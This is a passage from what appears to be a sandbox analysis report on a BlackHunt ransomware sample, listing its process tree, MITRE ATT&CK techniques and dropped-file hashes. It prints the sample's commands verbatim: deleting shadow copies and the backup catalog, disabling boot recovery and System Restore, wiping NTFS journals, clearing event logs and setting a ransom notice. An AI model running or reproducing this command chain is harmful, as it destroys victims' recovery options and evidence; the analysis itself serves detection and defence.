    - Interacts with shadow copies
    PID:1536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2096
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2128
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2836
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2864
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1984
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1596
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1724
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2556
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2580
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:896
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2448
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:1008
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:2068
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:784
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2372
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2320
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2120
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1512
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2260
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1968
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2124
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3068
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2564
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:1532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2860
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2240
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:1644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1072

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:684

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1772

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1984

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
cdefddf08ad4f7e3bfa6f9448547eb37

SHA1
0720f329fc905d5c968e4e1c27a198a70f4e22a3

SHA256
5f94ae12bc30c4fa5cc9e92a3c337ed4a6a18beb318b02c6fec1596b52c45cb4

SHA512
9f1df06037c911c08ba15f4bd43f05b96d3f1b45b4554a89e530eefce2f141cded09c4c4bdf9d8f8fab11134f790592bf37fe1831f762aed1148fed88868128f

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
bfe4f725140c13c2ee6412d5b0743e0c

SHA1
12c39c52223297412d764847eb06828a25c21997

SHA256
a8eab3a51dca1ca1cfbc4241bbbe415096c778890412f80e2f972be910f10531

SHA512
f923bb28f17623b68abd7d9d820275ee4708f55cee74338147fa76f55c38a5ffb23c9f0fe1f18fe9d6edaffddcf03b22855296e60ee5408415e4687440e3a4d2

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
dc8ed43b86cb991a9d30980a84cd689c

SHA1
7831fedb3b9e8e4a2fa4186fdfcd6e5baf223d08

SHA256
8994638289aaa068ad323d3788ef2e222c05587c4a8d7055b553836e91ec6491

SHA512
d5a199252283a48d658f990e46e93247f8b40d4d03d8acff09af95a859390471574955d5da2af2baf2f46620ca23d3d4ee0d2fbf0385c85b82180bf4c2f79ca2

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads